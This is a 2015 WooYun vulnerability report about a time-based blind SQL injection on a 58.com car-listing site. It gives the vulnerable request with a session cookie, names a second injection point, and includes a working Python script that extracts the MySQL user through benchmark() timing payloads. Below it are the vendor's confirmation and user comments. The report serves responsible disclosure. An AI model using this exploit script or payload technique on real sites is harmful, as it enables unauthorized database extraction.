58同城某站点MySQL注射(附脚本)

编号126775
Urlhttp://www.wooyun.org/bug.php?action=view&id=126775
漏洞状态厂商已经确认
漏洞标题58同城某站点MySQL注射(附脚本)
漏洞类型SQL注射漏洞
厂商58同城
白帽子lijiejie
提交日期2015-07-14 17:47:00
公开日期2015-08-30 12:18:00
修复时间(not set)
确认时间2015-07-16 00:00:00
Confirm Spend2
漏洞标签
关注数0
收藏数0
白帽评级
白帽自评rank10
厂商评级
厂商评rank20
漏洞简介
58同城某站点MySQL注射
漏洞细节

注入点:

GET /323224/order.html?prdid=*&sellerid=323224&source_detail=0000000000&type=3 HTTP/1.1
User-Agent: Googlebot/2.1 (+http://www.googlebot.com/bot.html)
X-Requested-With: XMLHttpRequest
Referer: http://che.58.com
Cookie: city=sh; PHPSESSID=abc90271f5786aac9cee29edb06929dc; cf_ref=http%3A%2F%2Fche.58.com%2Fgmac%2Fiframe_ApplyIntention_2013.php
Host: che.58.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*


另一处注入点:

/index.php?r=trainingOrder/save
多个参数可注入

POC

一sleep就挂了,用benchmark没问题。
user()长度24,得到:

[Done] MySQL user is [email protected]


58.mysqli.png


#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
headers = {'Cookie': 'city=sh; PHPSESSID=abc90271f5786aac9cee29edb06929dc; cf_ref=http%3A%2F%2Fche.58.com%2Fgmac%2Fiframe_ApplyIntention_2013.php',
'User-Agent': 'Googlebot/2.1 (+http://www.googlebot.com/bot.html)',
'Referer': 'http://che.58.com'}
payloads = '[email protected]_.'
print '[%s] Start to retrive MySQL User:' % time.strftime('%H:%M:%S', time.localtime())
user = ''
for i in range(1, 25):
for payload in payloads:
s = '/323224/order.html?prdid=if(ascii(mid(user()from(%s)for(1)))=%s,benchmark(2000000,md5(1)),0)&sellerid=323224&source_detail=0000000000&type=3' % (i, ord(payload))
conn = httplib.HTTPConnection('che.58.com', timeout=30)
conn.request(method='GET',url=s, headers=headers)
t = time.time()
conn.getresponse().read()
conn.close()
print '.',
if time.time() - t > 1.5:
user += payload
print '\n[in progress]', user,
time.sleep(1.0)
break

print '\n[Done] MySQL user is %s' % user

修复方案

参数过滤

状态信息 2015-07-14: 细节已通知厂商并且等待厂商处理中
2015-07-16: 厂商已经确认,细节仅向厂商公开
2015-07-26: 细节向核心白帽子及相关领域专家公开
2015-08-05: 细节向普通白帽子公开
2015-08-15: 细节向实习白帽子公开
2015-08-30: 细节向公众公开
厂商回复确认漏洞存在,辛苦了!URL库抓取的URL不够全,导致扫描器也没发现这个漏洞。
回应信息危害等级:高漏洞Rank:20 确认时间:2015-07-16 12:17
Showing 1-15 of 15 items.
评论内容评论人点赞数评论时间

@lijiejie 原来有内幕 我发现了~

爱上平顶山02015-07-29 14:50:00

司马是哪位高人?

wy00702015-07-16 12:54:00

@xsser 剑圣帮核审下这个吧||=。= (这洞我都忘记了)http://www.wooyun.org/bugs/wooyun-2015-0115297/trace/def7a27123dc2e121ad854c1bcc3893dhttp://www.wooyun.org/bugs/wooyun-2015-0115235/trace/83a4bcd192f804480bb762088fe48b32

路飞02015-07-16 12:46:00

@xsser 剑神帮审核下这个吧 →_→ http://www.wooyun.org/bugs/wooyun-2015-0126483/trace/5f28c2403fbe36c2042563e1a0cbe2c8

北丐02015-07-15 09:51:00

@xsser 帮审核下这个吧-_-|| http://www.wooyun.org/bugs/wooyun-2015-0126144/trace/0aabbdc26fe179828e261e6e9279a396

DloveJ02015-07-15 07:50:00

我真的觉得你们适合用这个https://github.com/alibaba/druid/wiki/%E9%85%8D%E7%BD%AE-wallfilter

苏州同程旅游网络科技有限公司02015-07-14 21:31:00

lijiejie

泪雨无魂02015-07-14 20:25:00

lijiejie

百变屌丝02015-07-14 19:45:00

司马又加10K

M4sk02015-07-14 18:12:00

司马又加10K

北丐02015-07-14 18:00:00

这个好

0x 8002015-07-14 17:55:00

我放佛看到了司马又要加10K薪资了,从此成为高富帅。

大亮02015-07-14 17:52:00

lijiejie

crown丶prince02015-07-14 17:49:00

lijiejie

xsser02015-07-14 17:48:00

lijiejie

牛 小 帅02015-07-14 17:47:00